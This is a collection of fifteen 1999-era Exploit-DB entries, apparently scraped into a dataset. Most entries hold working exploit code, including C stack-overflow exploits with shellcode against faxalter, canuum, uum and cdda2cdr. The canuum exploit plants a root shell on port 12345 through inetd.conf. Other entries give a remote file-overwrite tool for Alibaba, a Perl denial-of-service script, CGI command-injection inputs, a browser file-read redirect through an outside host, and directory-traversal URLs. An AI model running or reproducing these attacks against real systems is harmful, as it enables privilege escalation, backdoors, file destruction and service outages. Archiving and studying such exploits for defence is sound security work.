QLWD/code_shield huggingface dataset:
标题: Byte Fusion BFTelnet 1.1 - Long Username Denial of Service EDB-ID: 19596 CVE: 1999-0904 类型: DOS 平台: WINDOWS 发布日期: 1999-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/771/info

BFTelnet, a telnet server for Windows NT by Byte Fusion, will crash if a user name of 3090 or more characters is supplied. 


telnet victim.com
Login: [3090 charcter string] URL: https://www.exploit-db.com/exploits/19596
标题: Microsoft Windows NT 4.0/SP1/SP2/SP3/SP4/SP5/SP6 - 'Spoolss.exe' DLL Insertion EDB-ID: 19594 CVE: 1999-0899 类型: LOCAL 平台: WINDOWS 发布日期: 1999-11-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/769/info

The spooler service (spoolss.exe) allows local users to add their own dll files and have the spooler run them at SYSTEM level. This could lead to privilege escalation all the way up to Administrator level. The problem is in the function AddPrintProvider(). 

This exploit will crash the spooler service and copy a custom dll into c:\winnt\system32. When the spooler service is restarted, the custom dll is loaded and run at SYTEM level. The 'whoami' binary is run and the results logged in a text file for verification. If the target machine's NT directory is not the default c:\winnt, the program will have to be modified. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19594.zip URL: https://www.exploit-db.com/exploits/19594
标题: Hylafax Hylafax 4.0.2 - Local Buffer Overflow EDB-ID: 19590 CVE: 1999-1340 类型: LOCAL 平台: UNIX 发布日期: 1999-11-03 漏洞利用脚本: // source: https://www.securityfocus.com/bid/765/info

Hylafax is a popular fax server software package designed to run on multiple UNIX operating systems. Some versions of Hylafax ship with a vulnerable sub program 'faxalter'. This program is installed SUID UUCP and has a buffer overflow which if exploited will allow a malicious user to gain UUCP privileges.

Because the important programs are executed as root, such as Minicom (a popular modem terminal program) or cu(1) and are in the UUCP group and therefore writable by the same group they could be trojaned by the attacker. A successful scenario in this event would lead to a root compromise.

/* EXPLOIT
bash-2.03$ uname -a; ls -la `which faxalter`; id
FreeBSD  3.3-RELEASE FreeBSD 3.3-RELEASE #0: Thu Sep 16 23:40:35 GMT
1999
         jkh@highwing.cdrom.com:/usr/src/sys/compile/GENERIC  i386
-r-sr-xr-x  1 uucp  bin  72332 Sep 11 03:32 /usr/local/bin/faxalter
uid=1000(xnec) gid=1000(xnec) groups=1000(xnec), 0(wheel)
bash-2.03$ /home/xnec/faxalterx
$ id
uid=1000(xnec) euid=66(uucp) gid=1000(xnec) groups=1000(xnec), 0(wheel)
$
*/

/*
 * Faxalter exploit for FreeBSD 3.3/hylafax-4.0.2 yields euid=66(uucp)
 * Brock Tellier btellier@usa.net
 */

#include <stdio.h>

char shell[]= /* mudge@lopht.com */
   "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";


main (int argc, char *argv[] ) {
 int x = 0;
 int y = 0;
 int offset = 0;
 int bsize = 4093; /* overflowed buf's bytes + 4(ebp) + 4(eip) + 1 */
 char buf[bsize];
 int eip = 0xbfbfcfad;

 if (argv[1]) {
   offset = atoi(argv[1]);
   eip = eip + offset;
 }
 fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);

 for ( x = 0; x < 4021; x++) buf[x] = 0x90;
     fprintf(stderr, "NOPs to %d\n", x);

 for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
     fprintf(stderr, "Shellcode to %d\n",x);

  buf[x++] = eip & 0x000000ff;
  buf[x++] = (eip & 0x0000ff00) >> 8;
  buf[x++] = (eip & 0x00ff0000) >> 16;
  buf[x++] = (eip & 0xff000000) >> 24;
     fprintf(stderr, "eip to %d\n",x);

 buf[bsize - 1]='\0';

 execl("/usr/local/bin/faxalter", "faxalter", "-m", buf, NULL);

} URL: https://www.exploit-db.com/exploits/19590
标题: Microsoft Internet Explorer 4/5 / Outlook 98 - 'window.open' Redirect EDB-ID: 19591 CVE: 1999-0981 类型: REMOTE 平台: WINDOWS 发布日期: 1999-11-04 漏洞利用脚本: Microsoft Internet Explorer 4.0 for Windows 95/Windows NT 3/Windows NT 4,Internet Explorer 5.0 for Windows 95/Windows 98/Windows NT 4,Outlook 98 0 window.open Redirect Vulnerability

source: https://www.securityfocus.com/bid/766/info

If window.open is called with a target URL that redirects to a client-side file and then a variable is created pointing to the contents of the new window, the contents of the new window (the local file) can be read and possibly manipulated or transmitted by other code in the webpage.

The filename and location would have to be known by the attacker, and it could only be a file that is viewable by a browser. 

The exploit code is:
a=window.open(some URL that redirects to the local file);
b=a.document; URL: https://www.exploit-db.com/exploits/19591
标题: AN-HTTPd 1.2b - CGI s EDB-ID: 19587 CVE: 1999-0947 类型: REMOTE 平台: WINDOWS 发布日期: 1999-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/762/info

Certain versions of the AN-HTTPd server contain default CGI scripts that allow code to be executed remotely. This is due to poor sanity checking on user supplied data. 

http://www.xxx.yy/cgi-bin/input.bat?|dir..\..\windows URL: https://www.exploit-db.com/exploits/19587
标题: Computer Software Manufaktur Alibaba 2.0 - Multiple CGI Vulnerabilities EDB-ID: 19595 CVE: 1999-0885 类型: REMOTE 平台: WINDOWS 发布日期: 1999-11-03 漏洞利用脚本: // source: https://www.securityfocus.com/bid/770/info

There are several CGI programs that ship with the Alibaba webserver. Many of these do not do proper input handling, and therefore will allow requests for access to files outside of normal or safe webserver practice. This results in various situations where an attacker can view, overwrite, create and delete files anywhere on the server. 

/*

 Description: DoS against Alibaba 2.0 WebServer by wildcoyote
 Comments   : Based on advisorie by Prizm<Prizm@RESENTMENT.org>
              It is possible to overwrite any file on the remote box!
 Platforms  : Alibaba runs on Win95/98/NT
 Flamez to  : wildcoyote@coders-pt.org

*/

#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

// If it didnt work, uncomment (JUST ONE) of the following defines...
// (In case of one of them, isn't present...)
#define vulnerable_cgi "/cgi-bin/post32.exe"
// #define vulnerable_cgi "/cgi-bin/post16.exe"
// #define vulnerable_cgi "/cgi-bin/get16.exe"


int 
openhost(char *host,int port) {
   int sock;
   struct sockaddr_in addr;
   struct hostent *he;
      
   he=gethostbyname(host);
   
   if (he==NULL) return -1;
   
   sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
    
   if (sock==-1) return -1;
    
   memcpy(&addr.sin_addr, he->h_addr, he->h_length);
   addr.sin_family=AF_INET;
   addr.sin_port=htons(port);

   if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock=-1;
    
   return sock;
}

void 
sends(int sock,char *buf) {
  write(sock,buf,strlen(buf));
}

void 
overwrite(char *host, char *file, int port)
{
 int sock,i;
 char buf[512];
 printf("\nAlibaba 2.0 WebServer File Overwrite Xploit by wildcoyote\n\n");
 printf("Trying to connect to %s (%d)....(please wait)\n",host,port);
 sock=openhost(host,port);
 if(sock==-1) {
     printf("- Could not connect -\n");
     printf("Exiting...\n\n");
     exit(-1);
 }
 else printf("Connected to %s (%d)\n",host,port);
 sprintf(buf,"GET %s|echo%20>%s\n\n",vulnerable_cgi,file);
 printf("Oh k! Trying to overwrite the file...\n");
 sends(sock,buf);
 close(sock);
 printf("All done, the file was *probably* overwrited ;)\n");
 printf("Send flamez to wildcoyote@coders-pt.org, *Enjoy*...\n\n");
}

main(int argc, char *argv[])
{
 int sock,i;
 if (argc<3) {
    printf("\nAlibaba 2.0 WebServer File Overwrite Xploit by wildcoyote\n\n");
    printf("Sintaxe: %s <host> <path to file to overwrite> [port - default 80]\n",argv[0]);
    printf("Warning: Path to file must be a valid DoS path :)\n");
    printf("Evil Example: %s www.vulnerable.alibaba.com c:\\windows\\win.ini\n",argv[0]);
    printf("Send flamez to wildcoyote@coders-pt.org, *Enjoy*...\n\n");
 }
 else if (argc==3) overwrite(argv[1],argv[2],80);
      else overwrite(argv[1],argv[2],atoi(argv[3]));
} URL: https://www.exploit-db.com/exploits/19595
标题: Microsoft Windows NT 4.0/SP1/SP2/SP3/SP4/SP5/SP6 - 'Services.exe' Denial of Service (2) EDB-ID: 19578 CVE: 1999-0980 类型: DOS 平台: WINDOWS 发布日期: 1999-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/754/info
 
A specially crafted packet can cause a denial of service on an NT 4.0 host, rendering local administration and network communication nearly unusable. This attack will crash the "services" executable, which in turn, disables the ability for the machine to perform actions via named pipes. As a consequence, users will be unable to remotely logon, logoff, manage the registry, create new file share connections, or perform remote administration. Services such as Internet Information Server may also fail to operate as expected. Rebooting the affected machine will resolve the issue, provided it is not attacked again.
 
The problem lies within the manner that srvsvc.dll makes calls to services.exe. Certain MSRPC calls will return NULL values which are not correctly interpreted by services.exe. This, in turn, may lead to a crash of Services.exe.
 
If this denial of service is combined with a number of other exploits, it may be possible to have this attack spawn a Debugger (ie Dr Watson) call on the host, which, if trojaned, may execute malicious code on the target host.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19578.zip URL: https://www.exploit-db.com/exploits/19578
标题: Turbolinux 3.5 b2 - 'canuum' Local Buffer Overflow EDB-ID: 19583 CVE: 1999-0949 类型: LOCAL 平台: UNIX 发布日期: 1999-11-02 漏洞利用脚本: // source: https://www.securityfocus.com/bid/758/info

Canna is a Japanese input system available as free software. Canna provides a unified user interface for inputting Japanese.

Canna supports Nemacs(Mule), kinput2 and canuum. All of these tools can be used by a single customization file, romaji-to-kana conversion rules and conversion dictionaries, and input Japanese in the same way.

Canna converts kana to kanji based on a client-server model and supports automatic kana-to-kanji conversion.

The Canna subsystem on certain UNIX versions contains a buffer overflow in the 'canuum' program. Canuum is a Japanese input tty frontend for Canna using uum. Certain versions have a buffer overflow via unchecked user supplied data in the -k,-c,-n options.

Since this program is installed SUID root this attack will result in a root level compromise.

/*=============================================================================
   canuum Exploit for Linux 
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =============================================================================
*/
#include    <stdio.h>

#define RETADR   1676
#define MAXBUF   2000
#define JMP_OFS  0x200
#define NOP      0x90
#define SHELL    "/tmp/pp"
#define COMPILER "gcc"


char exec[60]= 
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff";
FILE *fp;

unsigned long get_sp(void)
{
    __asm__("movl %esp, %eax");
}

main()
{
    char            buf[MAXBUF+1];
    unsigned int    i,ip,sp;

    sprintf(buf,"%s.c",SHELL);
    if ((fp=fopen(buf,"w"))==NULL){
        printf("Can not write to %s\n",buf);
        exit(1);
    }
    fprintf(fp,"main(){setuid(0);setgid(0);");
    fprintf(fp,"system(\"echo 12345 stream tcp nowait root /bin/sh sh -i");
    fprintf(fp," >> /etc/inetd.conf; killall -HUP inetd\");}\n");
    fclose(fp);
    sprintf(buf,"%s %s.c -o %s",COMPILER,SHELL,SHELL);
    system(buf);

    memset(buf,'a',MAXBUF);
    buf[MAXBUF]=0;

    strcat(exec,SHELL);
    memcpy(buf+300,exec,strlen(exec));
    sp=get_sp();
    ip=sp+JMP_OFS;
    printf("Jumping address = %x\n\n\n",ip);
    printf("Please execute following command after \"Segmentation Fault\"\n");
    printf("\ntelnet localhost 12345\n\n\n");
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;
    execl("/usr/jp/canna/bin/canuum","canuum","-k",buf,(char *)0);
} URL: https://www.exploit-db.com/exploits/19583
标题: IRIX 6.5 / Solaris 7.0 / Turbolinux 4.2 - 'uum' Local Buffer Overflow EDB-ID: 19582 CVE: 1999-0948 类型: LOCAL 平台: UNIX 发布日期: 1999-11-02 漏洞利用脚本: // source: https://www.securityfocus.com/bid/757/info

Canna is a Japanese input system available as free software. Canna provides a unified user interface for inputting Japanese.

Canna supports Nemacs(Mule), kinput2 and canuum. All of these tools can be used by a single customization file, romanji-to-kana conversion rules and conversion dictionaries, and input Japanese in the same way.

Canna converts kana to kanji based on a client-server model and supports automatic kana-to-kanji conversion.

The Canna subsystem on certain UNIX versions contains a buffer overflow in the 'uum' program. Uum is a Japanese input tty frontend for Canna. Regrettably, certain versions are vulnerable to a buffer overflow attack via unchecked user supplied data with the '-D' option. Since 'uum' is installed as SUID root this may result in a root level compromise. 

/*=============================================================================
   /usr/bin/uum Exploit for Linux 
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by
    UNYUN     (shadowpenguin@backsection.net)
  =============================================================================
*/
#include <stdlib.h>
#include <stdio.h>

#define RET_ADR  84
#define EXP_ADR  204
#define MAXBUF   300
#define JMP_OFS  0x484
#define NOP      0x90
#define SHELL    "/tmp/pp"
#define COMPILER "gcc"

char exec[60]= 
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff";

char            xx[MAXBUF+1];
unsigned int    i,ip,sp;
FILE            *fp;


unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}

main()
{
    strcat(exec,SHELL);
    sprintf(xx,"%s.c",SHELL);
    if ((fp=fopen(xx,"w"))==NULL){
        printf("Can not write to %s\n",xx);
        exit(1);
    }
    fprintf(fp,"main(){setuid(0);setgid(0);system(\"/bin/sh\");}");
    fclose(fp);
    sprintf(xx,"%s %s.c -o %s",COMPILER,SHELL,SHELL);
    system(xx);

    sp=get_sp();
    memset(xx,NOP,MAXBUF);
    ip=sp-JMP_OFS;
    printf("Jumping address = %x\n",ip);
    xx[RET_ADR  ]=ip&0xff;
    xx[RET_ADR+1]=(ip>>8)&0xff;
    xx[RET_ADR+2]=(ip>>16)&0xff;
    xx[RET_ADR+3]=(ip>>24)&0xff;
    strncpy(xx+EXP_ADR,exec,strlen(exec));
    xx[MAXBUF]=0;
    execl("/usr/bin/uum","uum","-D",xx,(char *) 0);
} URL: https://www.exploit-db.com/exploits/19582
标题: WFTPD 2.34/2.40/3.0 - Remote Buffer Overflow EDB-ID: 19570 CVE: 1999-0950 类型: REMOTE 平台: WINDOWS 发布日期: 1999-11-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/747/info
 
 
WFTPD is reported prone to a remote buffer overflow vulnerability. The issue exists due to a lack of sufficient bounds checking performed on MKD and CWD arguments. It is reported that superfluous data passed to MKD first and then to CWD results in the overflow.
 
This vulnerability may be exploited by a remote authenticate attacker to execute arbitrary code in the context of the affected service.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19570.tgz URL: https://www.exploit-db.com/exploits/19570
标题: MediaHouse Software Statistics Server 4.28/5.1 - 'Server ID' Buffer Overflow EDB-ID: 19562 CVE: 1999-0931 类型: DOS 平台: WINDOWS 发布日期: 1999-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/734/info

The web interface for Statistics Server contains an unchecked buffer which accepts input from the "Server ID" field of the login webpage. While the login webpage has a 16 character restriction, this is easily circumventible by editing the HTML to remove the restriction. Entering a string of more than 3773 characters will crash the server. This bug could potentially be used to remotely execute arbitrary code. 

#!/usr/bin/perl

###############################################################
# Sample DoS against the Mediahouse Statistics Server
# This was tested against 4.28 & 5.01 running on Windows NT 4.0
#
# Only use it to determine if your own Server is vulnerable!
#
# Per Bergehed (per_bergehed@hotmail.com)
#
# http://w1.855.telia.com/~u85513179/security/exploits/mediahouse.html
#
# V1.0 - Check for "ss?form=statsredir&ID=..." buffer overflow.
# V1.1 - added check for "ss?form=setsite&ID=..." buffer overflow.
#

use IO::Socket;

print "############################################################\n";
print "# Simple DoS-attack against the Mediahouse Statistics Server\n";
print "# Tested with version 4.28 & 5.01\n";
print "\n";

if ($#ARGV != 0) 
{
        die "-> Please give the host address as argument.\n"
}

opensocket ("\n");
print $remote "GET " . "ss?setsite=" . "A" x 40000 . "& HTTP/1.0\n\n";
print $remote "GET " . "ss?form=statsredir&ID=" . "A" x 40000 . "& HTTP/1.0\n\n";
close $remote;

opensocket ("\n-> The server seemed to be vulnerable to this attack\n");
close $remote;
die "-> The server does not seem to be vulnerable to this attack\n";

sub opensocket 
{
        $remote = IO::Socket::INET->new (
                Proto => "tcp",
                PeerAddr => $ARGV[0],
                PeerPort => "http(80)",
        ) || die "# Can't open http-port on $ARGV[0]$_[0]";
        $remote->autoflush(1)
}

# EOF URL: https://www.exploit-db.com/exploits/19562
标题: SuSE Linux 6.1/6.2 - 'cwdtools' Local Overflow / Local Privilege Escalation EDB-ID: 19565 CVE: 2000-0362 类型: LOCAL 平台: LINUX 发布日期: 1999-10-22 漏洞利用脚本: #!/bin/sh
#source: https://www.securityfocus.com/bid/738/info
#
#cdwtools is a package of utilities for cd-writing. The linux version of these utilities, which ships with S.u.S.E linux 6.1 and 6.2, is vulnerable to several local root #compromises. It is known that there are a number of ways to exploit these packages, including buffer overflows and /tmp symlink attacks. 
#
#--- cdda2x.sh ---
#!/bin/sh
#
# Shell script for Linux x86 cdda2cdr exploit
# Brock Tellier btellier@usa.net
#

cat > /tmp/cdda2x.c <<EOF

/**
 ** Linux x86 exploit for /usr/bin/cdda2cdr (sgid disk on some Linux distros)

 ** gcc -o cdda2x cdda2x.c; cdda2x <offset> <bufsiz>
 ** 
 ** Brock Tellier btellier@usa.net 
 **/


#include <stdlib.h>
#include <stdio.h>

char exec[]= /* Generic Linux x86 running our /tmp program */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/tmp/cd";



#define LEN 500
#define NOP 0x90

unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}


void main(int argc, char *argv[]) {

int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];

 if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
 exit(0);
 }
 else if (argc == 2){
   offset=atoi(argv[1]);

 }
 else if (argc == 3) {
   offset=atoi(argv[1]);
   buflen=atoi(argv[2]);

 }
 else {
   offset=500;
   buflen=500;

 }


addr=get_sp();

fprintf(stderr, "Linux x86 cdda2cdr local disk exploit\n");
fprintf(stderr, "Brock Tellier btellier@usa.net\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),exec,strlen(exec));
for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4)
 *(int *)&buf[i]=addr+offset;

execl("/usr/bin/cdda2cdr", "cdda2cdr", "-D", buf, NULL);


/*
for (i=0; i < strlen(buf); i++) putchar(buf[i]);
*/

}

EOF

cat > /tmp/cd.c <<EOF
void main() { 
    setregid(getegid(), getegid());
    system("/bin/bash");
}
EOF

gcc -o /tmp/cd /tmp/cd.c
gcc -o /tmp/cdda2x /tmp/cdda2x.c
echo "Note that gid=6 leads to easy root access.."
/tmp/cdda2x URL: https://www.exploit-db.com/exploits/19565
标题: John S.2 Roberts AnyForm 1.0/2.0 - CGI Semicolon EDB-ID: 19557 CVE: 1999-0066 类型: REMOTE 平台: LINUX 发布日期: 1995-07-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/719/info

AnyForm is a popular form CGI designed to support simple forms that deliver responses via email. Certain versions of AnyForm did not perform user supplied data sanity checking and could be exploited by remote intruders to execute arbitrary commands. These commands were issued as the UID which the web server runs as, typically 'nobody'. 

Exploit as taken from the original post on this issue:

To exploit, create a form with a hidden field something like this:

<input type="hidden" name="AnyFormTo" value="foo@bar.com;command-to-execute
with whatever arguments;/usr/lib/sendmail -t foo@bar.com ">

Then submit the form to the "AnyForm" CGI on the server to be attacked.
The value of this parameter is passed to this code:

SystemCommand="/usr/lib/sendmail -t " + AnyFormTo + " <" + CombinedFileName;
system(SystemCommand);

Since system invokes a shell, the semicolons are treated as command
delimeters and anything can be inserted URL: https://www.exploit-db.com/exploits/19557
标题: Microsoft Internet Explorer 5.0/4.0.1 - JavaScript URL Redirection (MS99-043) EDB-ID: 19559 CVE: 1999-0793 类型: REMOTE 平台: WINDOWS 发布日期: 1999-10-18 漏洞利用脚本: Microsoft Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4,Microsoft Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0/Unix 5.0 Javascript URL Redirection Vulnerability

source: https://www.securityfocus.com/bid/722/info

A malicious web site operator could design a web page that, when visited by an IE5 user, would read a local file from the victim host (or any file on the victim's network to which the victim has access) and send the contents of that file to a designated remote location.

1) The IE5 user visits a malicious web site.

2) The web site instructs the client to open another IE5 browser window and display the contents of a file residing on the IE5 user's host (or another host on the network to which the IE5 user has access).

3) Immediately after opening the new browser window, the window is instructed to browse to a specified web site ie: http://malicious server.com/hack.cgi?doit.

4) The hack.cgi?doit page does not return a web page, but instead redirects the window to a javascript URL containing embedded executable code.

5) The javascript code (from step 4) can now access any files on the victim's host (or any file on the victim's network to which the victim has access) and send it to a location maintained by the malicious web site operator.

Under normal circumstances, javascript received from a non-local "security zone" is not allowed to perform such actions against files on the local host. In this instance, however, the IE5 browser has been fooled (via http redirect to javascript) into thinking that the Javascript should execute under the security context of the local host's security zone as the javascript was requested from a browser displaying the local file.

Microsoft has released a FAQ that contains a good description of this vulnerability: http://www.microsoft.com/security/bulletins/MS99-043faq.asp. 

<SCRIPT>
alert("Create a short text file C:\\TEST.TXT and it will be read and shown in a dialog box");
a=window.open("file://c:/test.txt");
a.location="http://www.nat.bg/~joro/reject.cgi?jsredir1";
</SCRIPT>
// "http://www.nat.bg/~joro/reject.cgi?jsredir1" just does a HTTP redirect to: "javascript:alert(document.body.innerText)" URL: https://www.exploit-db.com/exploits/19559
标题: Pacific Software URL Live! 1.0 - Directory Traversal EDB-ID: 19568 CVE: 1999-0915 类型: REMOTE 平台: WINDOWS 发布日期: 1999-10-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/746/info

The URL Live! free webserver from Pacific software is susceptible to the "../" directory traversal vulnerability. By using the '../' string in a URL, an attacker can gain read access to files outside the intended web file structure. 

Example:
http ://xyz.com/../../../config.sys URL: https://www.exploit-db.com/exploits/19568